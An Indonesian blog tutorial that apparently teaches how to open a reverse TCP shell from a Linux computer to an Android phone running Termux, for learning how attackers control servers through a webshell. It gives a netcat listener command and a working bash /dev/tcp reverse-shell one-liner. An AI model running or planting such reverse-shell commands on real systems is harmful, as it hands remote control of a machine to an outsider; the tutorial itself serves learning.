Remote komputer linux menggunakan reverse tcp shell di android


A. Pengertian


Apa teknik Reverse Shell dan kapan atau mengapa saya harus menggunakannya?

  Jika mesin yang ingin Anda kelola berada di belakang firewall ketat yang tidak berada di bawah kendali Anda, Anda perlu menggunakan teknik reverse shell untuk memberi Anda akses jarak jauh ke server. Teknik ini menggunakan urutan koneksi ssh yang agak tidak biasa yang dapat dipecah seperti:
  • First Session Server menjadi client dan memulai koneksi dan client menjadi server dan menerima informasi
  • Sesi Kedua Saat saluran siap (setelah prosedur), peran kembali menjadi yang benar untuk komunikasi client-server normal.
Artinya, server pertama kali terhubung ke klien, menempatkan beban untuk menerima koneksi masuk pada klien dan dengan demikian menawarkan cara di sekitar firewall yang membatasi. 

B. Latar Belakang

dalam tutorial kali ini akan membahas mengenai teknik remote menggunakan reverse shell. pada tutorial kali ini laptop saya akan saya jadikan sebagai server yang menghubungi Ponsel Android saya, dan ponsel android saya yang mendengarkan / Listening port yang di gunakan untuk menghubungi ponsel android saya.
  
Disclaimer: tutorial ini hanya untuk tujuan pembelajaran semata, penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan tulisan ini.

C. Maksud dan tujuan


untuk bahan pembelajaran mengenai cara attacker meremote suatu server tanpa adanya akses SSH (Secure shell) dan hanya bermodal webshell.


D. Hal yang di butuhkan

1. Niat dan baca basmallah 
2. Laptop / Komputer / Server
3. Ponsel android yang sudah terinstall termux
4. Koneksi internet dalam satu jaringan

NB : ini juga bisa di gunakan tidak dalam satu jaringan dengan catatan si server harus menggunakan IP Publik.

E. Jangka waktu pelaksanaan

Yosh, ini sangat singkat hanya dengan waktu 5 menit bahkan dengan hitungan detik kita bisa meremote laptop dari HP.

F. Langkah pelaksanaan


1. Install termux di ponsel android anda, jika sudah kita harus mengetahui IP dari ponsel android kita

$ ifconfig
anggap saja saya sudah menemukan IP Dari Ponsel android saya yaitu 192.168.43.1, selanjutnya masukan perintah :

$ nc -l -p 8888
2. Selanjutnya buka laptop/komputer yang akan di remote
masukan perintah seperti di bawah ini

# bash -i >& /dev/tcp/192.168.43.1/8888 0>&1


dimana IP yang warna biru adalah IP dari ponsel android dan port warna merah adalah port yang di listen dari termux android.

3. Yo, next !! buka lagi android nya, jika console dari komputer sudah muncul berarti reverse shell telah berhasil. untuk memastikan apakah saya sudah benar2 meremote laptop yg di targetkan, saya memasukan perintah

# uname -a
# lsb_release -a



referensi :
https://wiki.ubuntu.com/ReverseShell
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Postingan terkait:

Belum ada tanggapan untuk "Remote komputer linux menggunakan reverse tcp shell di android"

Posting Komentar